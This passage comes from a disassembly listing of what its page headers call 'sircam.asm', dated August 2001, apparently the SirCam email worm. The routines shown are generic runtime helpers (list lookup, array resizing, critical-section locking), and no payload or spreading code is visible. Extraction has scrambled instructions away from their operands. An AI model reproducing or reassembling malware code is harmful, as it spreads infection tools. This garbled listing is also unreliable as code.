ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C268 proc near ; CODE XREF: sub_40C288+6\031p ; sub_40C428+31\031p push ebx xor ecx, ecx jmp short loc_40C26E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C26D: ; CODE XREF: sub_40C268+11\031j inc ecx cmp jge mov cmp jnz ecx, [eax+8] short loc_40C27B ebx, [eax+4] edx, [ebx+ecx*4] short loc_40C26D loc_40C26E: ; CODE XREF: sub_40C268+3\030j sircam.asm Fri Aug 10 12:42:44 2001 loc_40C27B: ; CODE XREF: sub_40C268+9\030j cmp jnz or ecx, [eax+8] short loc_40C283 ecx, 0FFFFFFFFh mov pop retn endp eax, ecx ebx loc_40C283: sub_40C268 328 ; CODE XREF: sub_40C268+16\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C288 proc near ; CODE XREF: sub_40C4C4+28\031p push ebx push esi mov ebx, eax mov eax, ebx call sub_40C268 mov esi, eax test esi, esi jl short loc_40C2A2 mov edx, esi mov eax, ebx call sub_40C11C loc_40C2A2: sub_40C288 ; CODE XREF: sub_40C288+F\030j mov pop pop retn endp eax, esi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C2A8 proc near ; CODE XREF: sub_40C104+10\030p ; CODE:0040C25F\030p ... push push mov mov cmp jl cmp jle ebx esi esi, edx ebx, eax esi, [ebx+8] short loc_40C2BB esi, 7FFFFFFh short loc_40C2CA mov mov mov call ; CODE XREF: sub_40C2A8+9\030j edx, ds:off_41DBCC ecx, esi eax, [ebx] sub_40C1B8 cmp jz mov shl lea call mov esi, [ebx+0Ch] short loc_40C2DF edx, esi edx, 2 eax, [ebx+4] sub_4025C8 [ebx+0Ch], esi loc_40C2BB: loc_40C2CA: loc_40C2DF: ; CODE XREF: sub_40C2A8+11\030j ; CODE XREF: sub_40C2A8+25\030j sircam.asm sub_40C2A8 Fri Aug 10 12:42:44 2001 pop pop retn endp 329 esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C2E4 proc near ; CODE XREF: sub_40C104+7\030p push ebx push esi push edi push ebp mov esi, edx mov ebx, eax test esi, esi jl short loc_40C2F8 cmp esi, 7FFFFFFh jle short loc_40C307 loc_40C2F8: mov mov mov call ; CODE XREF: sub_40C2E4+A\030j edx, ds:off_41DB94 ecx, esi eax, [ebx] sub_40C1B8 cmp jle mov mov call esi, [ebx+0Ch] short loc_40C315 edx, esi eax, ebx sub_40C2A8 loc_40C307: ; CODE XREF: sub_40C2E4+12\030j loc_40C315: ; CODE XREF: sub_40C2E4+26\030j mov eax, [ebx+8] cmp esi, eax jle short loc_40C335 mov edx, [ebx+4] lea edx, [edx+eax*4] mov ecx, esi sub ecx, eax mov eax, ecx shl eax, 2 xor ecx, ecx xchg eax, edx call sub_4028D4 jmp short loc_40C34C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C335: ; CODE XREF: sub_40C2E4+36\030j mov dec mov sub jg dec ebp, eax ebp edi, esi edi, ebp short loc_40C34C edi mov mov call dec inc jnz edx, ebp eax, ebx sub_40C11C ebp edi short loc_40C33F loc_40C33F: loc_40C34C: ; CODE XREF: sub_40C2E4+66\031j ; CODE XREF: sub_40C2E4+4F\030j ; sub_40C2E4+58\030j sircam.asm sub_40C2E4 Fri Aug 10 12:42:44 2001 mov pop pop pop pop retn endp 330 [ebx+8], esi ebp edi esi ebx ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C358 proc near ; CODE XREF: CODE:0040E4BD\031p ; CODE:0040E4DF\031p ... push push test jz add call ebx esi dl, dl short loc_40C366 esp, 0FFFFFFF0h sub_402CDC mov mov xor mov call lea push call mov mov call mov mov mov test jz call pop add ; CODE XREF: sub_40C358+4\030j ebx, edx esi, eax edx, edx eax, esi sub_402BAC eax, [esi+8] eax j_InitializeCriticalSection_0 dl, 1 eax, ds:off_40B8BC sub_402BAC [esi+4], eax byte ptr [esi+20h], 0 eax, esi bl, bl short loc_40C3A4 sub_402D34 large dword ptr fs:0 esp, 0Ch loc_40C366: loc_40C3A4: sub_40C358 ; CODE XREF: sub_40C358+3B\030j mov eax, esi pop esi pop ebx retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40C3AC proc near var_5 var_4 = byte ptr -5 = dword ptr -4 push mov add call mov mov mov ebp ebp, esp esp, 0FFFFFFF8h sub_402D3C [ebp+var_5], dl [ebp+var_4], eax eax, [ebp+var_4] ; DATA XREF: CODE:0040B968\030o sircam.asm Fri Aug 10 12:42:44 2001 call xor push push push mov mov mov call mov and mov call xor pop pop pop mov push loc_40C3F9: sub_40C3AC 331 sub_40C4B0 eax, eax ebp offset loc_40C40E dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] eax, [eax+4] sub_402BDC dl, [ebp+var_5] dl, 0FCh eax, [ebp+var_4] sub_402BCC eax, eax edx ecx ecx fs:[eax], edx offset loc_40C415 ; CODE XREF: CODE:0040C413\031j mov eax, [ebp+var_4] call sub_40C514 mov eax, [ebp+var_4] add eax, 8 push eax call j_DeleteCriticalSection_0 retn endp ; sp = -14h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C40E: ; DATA XREF: sub_40C3AC+1C\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40C3F9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C415: cmp jle mov call ; DATA XREF: sub_40C3AC+48\030o byte ptr [ebp-5], 0 short loc_40C423 eax, [ebp-4] sub_402D2C loc_40C423: ; CODE XREF: CODE:0040C419\030j pop ecx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40C428 proc near var_4 = dword ptr -4 push mov push push mov mov mov call xor push ebp ebp, esp ecx ebx ebx, edx [ebp+var_4], eax eax, [ebp+var_4] sub_40C4B0 eax, eax ebp ; CODE XREF: sub_40C000+20\030p sircam.asm Fri Aug 10 12:42:44 2001 push push mov mov cmp jz mov mov mov call inc jnz 332 offset loc_40C4A4 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] byte ptr [eax+20h], 1 short loc_40C461 eax, [ebp+var_4] eax, [eax+4] edx, ebx sub_40C268 eax short loc_40C470 loc_40C461: ; CODE XREF: sub_40C428+27\030j mov eax, [ebp+var_4] mov eax, [eax+4] mov edx, ebx call sub_40C0D0 jmp short loc_40C48E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C470: mov cmp jnz mov mov mov mov mov call ; CODE XREF: sub_40C428+37\030j eax, [ebp+var_4] byte ptr [eax+20h], 2 short loc_40C48E edx, ds:off_41DB84 eax, [ebp+var_4] eax, [eax+4] eax, [eax] ecx, ebx sub_40C1B8 loc_40C48E: ; CODE XREF: sub_40C428+46\030j ; sub_40C428+4F\030j xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_40C4AB loc_40C49B: sub_40C428 ; CODE XREF: CODE:0040C4A9\031j mov eax, [ebp+var_4] call sub_40C514 retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C4A4: ; DATA XREF: sub_40C428+15\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40C49B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C4AB: ; DATA XREF: sub_40C428+6E\030o pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C4B0 proc near push mov ebx ebx, eax ; CODE XREF: sub_40BEA8+10\030p ; sub_40C3AC+14\030p ... sircam.asm sub_40C4B0 Fri Aug 10 12:42:44 2001 333 lea eax, [ebx+8] push eax call j_EnterCriticalSection_0 mov eax, [ebx+4] pop ebx retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40C4C4 proc near var_4 = dword ptr -4 push mov push push mov mov mov call xor push push push mov mov mov mov call xor pop pop pop mov push ; CODE XREF: sub_4154E0+79\031p ebp ebp, esp ecx ebx ebx, edx [ebp+var_4], eax eax, [ebp+var_4] sub_40C4B0 eax, eax ebp offset loc_40C507 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] eax, [eax+4] edx, ebx sub_40C288 eax, eax edx ecx ecx fs:[eax], edx offset loc_40C50E loc_40C4FE: sub_40C4C4 ; CODE XREF: CODE:0040C50C\031j mov eax, [ebp+var_4] call sub_40C514 retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C507: ; DATA XREF: sub_40C4C4+15\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40C4FE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C50E: ; DATA XREF: sub_40C4C4+35\030o pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C514 proc near ; CODE XREF: sub_40BEA8+B2\030p ; sub_40C3AC+50\030p ... sircam.asm sub_40C514 Fri Aug 10 12:42:44 2001 334 add eax, 8 push eax call j_LeaveCriticalSection_0 retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C520 proc near push push call mov mov mov call mov and mov call test jle mov call ebx esi sub_402D3C ebx, edx esi, eax eax, esi sub_40DD28 edx, ebx dl, 0FCh eax, esi sub_402BCC bl, bl short loc_40C549 eax, esi sub_402D2C pop pop retn endp esi ebx loc_40C549: sub_40C520 ; CODE XREF: sub_40C6F0+1B\031p ; sub_415640+1A\031p ; DATA XREF: ... ; CODE XREF: sub_40C520+20\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C54C proc near ; CODE XREF: sub_40C820+65\031p ; sub_415670+54\031p ; DATA XREF: ... test edx, edx jz short loc_40C556 xchg eax, edx mov ecx, [eax] call dword ptr [ecx] retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C556: sub_40C54C ; CODE XREF: sub_40C54C+2\030j xor call retn endp edx, edx sub_40C560 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40C560 proc near var_114 var_110 = dword ptr -114h = byte ptr -110h ; CODE XREF: sub_40C54C+C\030p ; CODE:0040C631\031p sircam.asm var_10C var_108 var_104 var_4 Fri Aug 10 12:42:44 2001 = = = = 335 dword ptr -10Ch byte ptr -108h byte ptr -104h dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEECh push ebx push esi xor ecx, ecx mov [ebp+var_4], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_40C616 push dword ptr fs:[eax] mov fs:[eax], esp test esi, esi jz short loc_40C5A3 lea edx, [ebp+var_104] mov eax, [esi] call sub_402B5C lea edx, [ebp+var_104] lea eax, [ebp+var_4] call sub_4036EC jmp short loc_40C5B0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C5A3: lea mov call ; CODE XREF: sub_40C560+24\030j eax, [ebp+var_4] edx, offset dword_40C62C sub_403560 mov mov mov lea mov call lea mov mov lea push push mov mov mov call call xor pop pop pop mov push ; CODE XREF: sub_40C560+41\030j eax, [ebp+var_4] [ebp+var_114], eax [ebp+var_110], 0Bh edx, [ebp+var_104] eax, [ebx] sub_402B5C eax, [ebp+var_104] [ebp+var_10C], eax [ebp+var_108], 4 eax, [ebp+var_114] eax 1 ecx, ds:off_41DB9C dl, 1 eax, ds:off_4067F8 sub_409548 sub_402F98 eax, eax edx ecx ecx fs:[eax], edx offset loc_40C61D loc_40C5B0: loc_40C60D: sub_40C560 ; CODE XREF: CODE:0040C61B\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -12Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C616: ; DATA XREF: sub_40C560+17\030o jmp loc_402F60 sircam.asm Fri Aug 10 12:42:44 2001 336 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40C60D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C61D: ; DATA XREF: sub_40C560+A8\030o pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 3 dword_40C62C dd 6C696Eh ; DATA XREF: sub_40C560+46\030o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C630: ; DATA XREF: CODE:0040B9C4\030o ; CODE:0040BA94\030o ... xchg eax, edx call sub_40C560 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40C63C proc near var_104 var_4 = byte ptr -104h = dword ptr -4 push mov add push push push xor mov mov mov xor push push push mov lea mov call lea mov call mov mov call test jz mov mov call lea mov call cmp jz push ; DATA XREF: CODE:0040B9DA\030o ebp ebp, esp esp, 0FFFFFEFCh ebx esi edi ecx, ecx [ebp+var_4], ecx edi, edx esi, eax eax, eax ebp offset loc_40C6D1 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_104] eax, [esi] sub_402B5C edx, [ebp+var_104] eax, edi sub_4036EC eax, esi bx, 0FFFFh sub_402C88 eax, eax short loc_40C6BB eax, esi bx, 0FFFFh sub_402C88 edx, [ebp+var_4] bx, 0FFFEh sub_402C88 [ebp+var_4], 0 short loc_40C6BB [ebp+var_4] sircam.asm Fri Aug 10 12:42:44 2001 push push mov mov call offset dword_40C6E8 dword ptr [edi] eax, edi edx, 3 sub_4037E4 loc_40C6BB: ; CODE XREF: sub_40C63C+4A\030j ; sub_40C63C+67\030j xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_40C6D8 loc_40C6C8: sub_40C63C 337 ; CODE XREF: CODE:0040C6D6\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -124h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C6D1: ; DATA XREF: sub_40C63C+18\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40C6C8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C6D8: ; DATA XREF: sub_40C63C+87\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_40C6E8 dd 2Eh ; DATA XREF: sub_40C63C+6C\030o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C6EC: ; DATA XREF: CODE:0040B9D6\030o xor eax, eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C6F0 proc near push push call mov mov xor mov call mov and mov call test jle mov call ebx esi sub_402D3C ebx, edx esi, eax edx, edx eax, esi sub_40D0C8 edx, ebx dl, 0FCh eax, esi sub_40C520 bl, bl short loc_40C71B eax, esi sub_402D2C ; CODE XREF: sub_40D294+22\031p ; DATA XREF: CODE:0040BA90\030o sircam.asm Fri Aug 10 12:42:44 2001 loc_40C71B: sub_40C6F0 338 ; CODE XREF: sub_40C6F0+22\030j pop pop retn endp esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C720 sub_40C720 proc near ; DATA XREF: CODE:0040BAC8\030o push ebx push esi push edi mov edi, edx mov ebx, eax mov eax, ebx mov edx, [eax] call dword ptr [edx+14h] mov esi, eax mov ecx, edi mov edx, esi mov eax, ebx mov ebx, [eax] call dword ptr [ebx+54h] mov eax, esi pop edi pop esi pop ebx retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C744 proc near sub_40C744 push push push mov mov mov mov call mov mov mov mov mov call 